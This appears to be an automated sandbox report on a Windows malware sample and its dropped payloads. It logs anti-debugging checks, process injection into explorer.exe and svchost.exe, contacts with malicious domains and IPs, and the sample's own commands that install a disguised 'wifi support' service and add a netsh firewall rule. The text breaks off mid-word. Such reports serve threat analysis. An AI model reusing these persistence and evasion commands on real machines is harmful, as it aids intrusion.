Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_00409970 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	28_2_00409970
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_004087E0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	28_2_004087E0
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_006C8A30 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	28_2_006C8A30
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_006C12E0 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	28_2_006C12E0
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_006C14D0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	28_2_006C14D0
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_006C6090 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	28_2_006C6090
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_006C9930 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	28_2_006C9930
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_006C9BC0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	28_2_006C9BC0
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_006C9D90 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	28_2_006C9D90

Source: C:\Users\user\Desktop\OG9rNsihJ7.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging:

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Show sources

Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vfgiwcs	System information queried: CodeIntegrityInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	System information queried: CodeIntegrityInformation	Jump to behavior

Source: C:\Users\user\Desktop\OG9rNsihJ7.exe

0_2_00435870

Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 0_2_005F0042 push dword ptr fs:[00000030h]	0_2_005F0042
Source: C:\Users\user\AppData\Roaming\vfgiwcs	Code function: 18_2_00640042 push dword ptr fs:[00000030h]	18_2_00640042
Source: C:\Users\user\AppData\Local\Temp\B1B2.exe	Code function: 20_2_02070083 push dword ptr fs:[00000030h]	20_2_02070083
Source: C:\Users\user\AppData\Local\Temp\B1B2.exe	Code function: 20_2_0208092B mov eax, dword ptr fs:[00000030h]	20_2_0208092B
Source: C:\Users\user\AppData\Local\Temp\B1B2.exe	Code function: 20_2_02080D90 mov eax, dword ptr fs:[00000030h]	20_2_02080D90
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Code function: 22_2_008FC85A push dword ptr fs:[00000030h]	22_2_008FC85A
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_00401000 mov eax, dword ptr fs:[00000030h]	28_2_00401000
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_0040C180 mov eax, dword ptr fs:[00000030h]	28_2_0040C180
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_006C092B mov eax, dword ptr fs:[00000030h]	28_2_006C092B
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_006C1250 mov eax, dword ptr fs:[00000030h]	28_2_006C1250
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_006CC3D0 mov eax, dword ptr fs:[00000030h]	28_2_006CC3D0
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: 28_2_006C0D90 mov eax, dword ptr fs:[00000030h]	28_2_006C0D90
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Code function: 29_2_006C092B mov eax, dword ptr fs:[00000030h]	29_2_006C092B
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Code function: 29_2_006C0D90 mov eax, dword ptr fs:[00000030h]	29_2_006C0D90
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Code function: 29_2_008EA472 push dword ptr fs:[00000030h]	29_2_008EA472

Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vfgiwcs	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\OG9rNsihJ7.exe

Code function: 0_2_00422C40 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

0_2_00422C40

Source: C:\Users\user\AppData\Local\Temp\254E.exe

Code function: 28_2_004048D0 VirtualProtect ?,00000004,00000100,00000000

28_2_004048D0

Source: C:\Users\user\Desktop\OG9rNsihJ7.exe

Code function: 0_2_0042CCB2 InterlockedIncrement,__itow_s,__invoke_watson_if_error,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,OutputDebugStringW,__strftime_l,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,_wcscpy_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,_wcscat_s,__invoke_watson_if_error,__snwprintf_s,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,__invoke_watson_if_oneof,_wcscpy_s,__invoke_watson_if_error,GetFileType,_wcslen,WriteConsoleW,GetLastError,__invoke_watson_if_oneof,_wcslen,WriteFile,WriteFile,OutputDebugStringW,__itow_s,__invoke_watson_if_error,___crtMessageWindowW,

0_2_0042CCB2

Source: C:\Users\user\Desktop\OG9rNsihJ7.exe

0_2_00419C55

Source: C:\Users\user\AppData\Local\Temp\3BC6.exe

Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\BFBD.exe

Code function: 24_1_004027ED LdrLoadDll,

24_1_004027ED

Source: C:\Users\user\AppData\Local\Temp\254E.exe

Memory protected: page guard

Jump to behavior

Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 0_2_00422C40 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00422C40
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 0_2_0042BDF0 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_0042BDF0
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 0_2_00428660 SetUnhandledExceptionFilter,	0_2_00428660
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: 0_2_0043AB50 _raise,_memset,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0043AB50
Source: C:\Users\user\AppData\Local\Temp\B1B2.exe	Code function: 20_2_0040976C IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	20_2_0040976C
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Code function: 29_2_00409A6B EntryPoint,SetErrorMode,SetErrorMode,SetErrorMode,SetUnhandledExceptionFilter,GetModuleHandleA,GetModuleFileNameA,GetCommandLineA,lstrlenA,ExitProcess,GetTempPathA,lstrcpyA,lstrcatA,lstrcatA,GetFileAttributesExA,DeleteFileA,GetEnvironmentVariableA,lstrcpyA,lstrlenA,RegOpenKeyExA,RegSetValueExA,RegCloseKey,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,wsprintfA,lstrcatA,lstrcatA,CreateProcessA,DeleteFileA,GetModuleHandleA,GetModuleFileNameA,GetDriveTypeA,GetCommandLineA,lstrlenA,StartServiceCtrlDispatcherA,DeleteFileA,GetLastError,Sleep,DeleteFileA,CreateThread,CreateThread,WSAStartup,CreateThread,Sleep,Sleep,GetTickCount,GetTickCount,GetTickCount,Sleep,	29_2_00409A6B

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 40.93.207.0 25
Source: C:\Windows\SysWOW64\svchost.exe	Network Connect: 94.142.143.116 443
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: patmushta.info
Source: C:\Windows\explorer.exe	Domain query: cdn.discordapp.com
Source: C:\Windows\explorer.exe	Network Connect: 188.166.28.199 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: unicupload.top
Source: C:\Windows\explorer.exe	Network Connect: 185.233.81.115 187	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 185.7.214.171 144	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: host-data-coin-11.com
Source: C:\Windows\explorer.exe	Domain query: privacy-tools-for-you-780.com
Source: C:\Windows\SysWOW64\svchost.exe	Domain query: microsoft-com.mail.protection.outlook.com
Source: C:\Windows\explorer.exe	Domain query: goo.su
Source: C:\Windows\explorer.exe	Domain query: transfer.sh
Source: C:\Windows\explorer.exe	Network Connect: 185.186.142.166 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: data-host-coin-8.com

Benign windows process drops PE files

Show sources

Source: C:\Windows\explorer.exe

File created: 3A7E.exe.5.dr

Jump to dropped file

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vfgiwcs	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vfgiwcs	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Allocates memory in foreign processes

Show sources

Source: C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe

Memory allocated: C:\Windows\SysWOW64\svchost.exe base: 7B0000 protect: page execute and read and write

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Memory written: C:\Users\user\Desktop\OG9rNsihJ7.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vfgiwcs	Memory written: C:\Users\user\AppData\Roaming\vfgiwcs base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Memory written: C:\Users\user\AppData\Local\Temp\3BC6.exe base: 400000 value starts with: 4D5A
Source: C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 7B0000 value starts with: 4D5A

Contains functionality to inject code into remote processes

Show sources

Source: C:\Users\user\Desktop\OG9rNsihJ7.exe

Code function: 0_2_005F0110 VirtualAlloc,GetModuleFileNameA,CreateProcessA,VirtualFree,VirtualAlloc,GetThreadContext,ReadProcessMemory,NtUnmapViewOfSection,VirtualAllocEx,NtWriteVirtualMemory,NtWriteVirtualMemory,WriteProcessMemory,SetThreadContext,ResumeThread,ExitProcess,

0_2_005F0110

Creates a thread in another existing process (thread injection)

Show sources

Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Thread created: C:\Windows\explorer.exe EIP: 3031930	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vfgiwcs	Thread created: unknown EIP: 6DC1930	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Thread created: unknown EIP: 7551930	Jump to behavior

Writes to foreign memory regions

Show sources

Source: C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 7B0000
Source: C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe	Memory written: C:\Windows\SysWOW64\svchost.exe base: 997008

.NET source code references suspicious native API functions

Show sources

Source: 3BC6.exe.5.dr, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 3BC6.exe.5.dr, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 30.0.3BC6.exe.650000.1.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 30.0.3BC6.exe.650000.1.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 30.0.3BC6.exe.650000.3.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 30.0.3BC6.exe.650000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 30.2.3BC6.exe.650000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 30.2.3BC6.exe.650000.0.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 30.0.3BC6.exe.650000.2.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 30.0.3BC6.exe.650000.2.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 30.0.3BC6.exe.650000.0.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 30.0.3BC6.exe.650000.0.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')
Source: 45.0.3BC6.exe.3c0000.3.unpack, oiranecSnoitcetorPnoitcetorPdednetxEnoitacitnehtuAytiruceSmetsyS75887.cs	Reference to suspicious API methods: ('GetProcAddress', 'GetProcAddress@kernel32'), ('LoadLibrary', 'LoadLibrary@kernel32.dll')
Source: 45.0.3BC6.exe.3c0000.3.unpack, SG9KiyIbtdgGDf12qr/z2jc63fLkugS1X8Q9N.cs	Reference to suspicious API methods: ('r76RP97uO', 'GetProcAddress@kernel32'), ('grYvFMse6', 'LoadLibrary@kernel32')

Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Process created: C:\Users\user\Desktop\OG9rNsihJ7.exe "C:\Users\user\Desktop\OG9rNsihJ7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vfgiwcs	Process created: C:\Users\user\AppData\Roaming\vfgiwcs C:\Users\user\AppData\Roaming\vfgiwcs	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 6924 -ip 6924	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6924 -s 520	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BFBD.exe	Process created: C:\Users\user\AppData\Local\Temp\BFBD.exe C:\Users\user\AppData\Local\Temp\BFBD.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\ffiawxs\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\user\AppData\Local\Temp\xqfkdfcl.exe" C:\Windows\SysWOW64\ffiawxs\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" create ffiawxs binPath= "C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe /d\"C:\Users\user\AppData\Local\Temp\3136.exe\"" type= own start= auto DisplayName= "wifi support	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Process created: C:\Windows\SysWOW64\sc.exe C:\Windows\System32\sc.exe" description ffiawxs "wifi internet conection	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Process created: C:\Windows\SysWOW64\sc.exe "C:\Windows\System32\sc.exe" start ffiawxs	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Process created: C:\Windows\SysWOW64\netsh.exe "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Process created: C:\Users\user\AppData\Local\Temp\3BC6.exe C:\Users\user\AppData\Local\Temp\3BC6.exe
Source: C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe	Process created: C:\Windows\SysWOW64\svchost.exe svchost.exe

Source: C:\Users\user\AppData\Local\Temp\3136.exe

Code function: 29_2_00406EDD AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

29_2_00406EDD

Source: C:\Users\user\AppData\Local\Temp\3136.exe

Code function: 29_2_00407809 CreateThread,GetUserNameA,LookupAccountNameA,GetLengthSid,GetFileSecurityA,GetSecurityDescriptorOwner,EqualSid,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetFileSecurityA,LocalFree,GetSecurityDescriptorDacl,GetAce,EqualSid,DeleteAce,EqualSid,LocalAlloc,InitializeSecurityDescriptor,SetSecurityDescriptorDacl,SetFileSecurityA,LocalFree,

29_2_00407809

Source: explorer.exe, 00000005.00000000.263556016.0000000001640000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.256399873.00000000089FF000.00000004.00000001.sdmp, explorer.exe, 00000005.00000000.282787344.0000000005EA0000.00000004.00000001.sdmp, explorer.exe, 00000005.00000000.249987972.0000000001640000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.279533280.0000000001640000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.290821286.00000000089FF000.00000004.00000001.sdmp, explorer.exe, 00000005.00000000.273349889.00000000089FF000.00000004.00000001.sdmp, B1B2.exe, 00000014.00000000.344858130.0000000000C60000.00000002.00020000.sdmp, B1B2.exe, 00000014.00000000.349618118.0000000000C60000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000005.00000000.263556016.0000000001640000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.249987972.0000000001640000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.279533280.0000000001640000.00000002.00020000.sdmp, B1B2.exe, 00000014.00000000.344858130.0000000000C60000.00000002.00020000.sdmp, B1B2.exe, 00000014.00000000.349618118.0000000000C60000.00000002.00020000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000005.00000000.263556016.0000000001640000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.249987972.0000000001640000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.279533280.0000000001640000.00000002.00020000.sdmp, B1B2.exe, 00000014.00000000.344858130.0000000000C60000.00000002.00020000.sdmp, B1B2.exe, 00000014.00000000.349618118.0000000000C60000.00000002.00020000.sdmp	Binary or memory string: SProgram Managerl
Source: explorer.exe, 00000005.00000000.249728645.0000000001128000.00000004.00000020.sdmp, explorer.exe, 00000005.00000000.262413005.0000000001128000.00000004.00000020.sdmp, explorer.exe, 00000005.00000000.278743896.0000000001128000.00000004.00000020.sdmp	Binary or memory string: ProgmanOMEa
Source: explorer.exe, 00000005.00000000.263556016.0000000001640000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.249987972.0000000001640000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.279533280.0000000001640000.00000002.00020000.sdmp, B1B2.exe, 00000014.00000000.344858130.0000000000C60000.00000002.00020000.sdmp, B1B2.exe, 00000014.00000000.349618118.0000000000C60000.00000002.00020000.sdmp	Binary or memory string: Shell_TrayWnd,
Source: explorer.exe, 00000005.00000000.263556016.0000000001640000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.249987972.0000000001640000.00000002.00020000.sdmp, explorer.exe, 00000005.00000000.279533280.0000000001640000.00000002.00020000.sdmp, B1B2.exe, 00000014.00000000.344858130.0000000000C60000.00000002.00020000.sdmp, B1B2.exe, 00000014.00000000.349618118.0000000000C60000.00000002.00020000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\OG9rNsihJ7.exe	Code function: GetLocaleInfoA,	0_2_0043A8A0
Source: C:\Users\user\AppData\Local\Temp\B1B2.exe	Code function: GetLocaleInfoA,	20_2_00410857
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: GetProcessHeap,RtlAllocateHeap,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,wsprintfA,wsprintfA,memset,LocalFree,	28_2_0040AE00
Source: C:\Users\user\AppData\Local\Temp\254E.exe	Code function: GetProcessHeap,RtlAllocateHeap,GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,wsprintfA,wsprintfA,memset,LocalFree,	28_2_006CB050

Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3136.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\3BC6.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\3BC6.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\ffiawxs\xqfkdfcl.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\svchost.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\OG9rNsihJ7.exe

Code function: 0_2_00419EB2 __vswprintf,_putc,__wrename,_atexit,_malloc,_realloc,_ferror,GetBinaryTypeA,SetCurrentDirectoryA,Process32NextW,InitializeCriticalSection,QueryDosDeviceW,AssignProcessToJobObject,GlobalAddAtomW,DeleteAtom,WriteProfileStringA,GetFullPathNameA,FindNextVolumeMountPointW,GetCompressedFileSizeA,SetNamedPipeHandleState,lstrcpynA,GetCurrentProcessId,GetConsoleAliasesLengthW,UnregisterWait,GetProcessHandleCount,CancelWaitableTimer,SetFileApisToANSI,CreateIoCompletionPort,FindClose,SetEndOfFile,GetCommMask,LocalLock,OpenMutexA,OemToCharA,GetLastError,HeapFree,GetConsoleMode,WriteConsoleOutputCharacterA,GetModuleHandleW,GetConsoleMode,FreeEnvironmentStringsA,GetWriteWatch,GetConsoleAliasExesLengthW,_lopen,FileTimeToLocalFileTime,SetCommState,EnumDateFormatsA,TransactNamedPipe,WriteConsoleInputW,GetConsoleAliasExesLengthA,GetAtomNameW,FreeConsole,FlushConsoleInputBu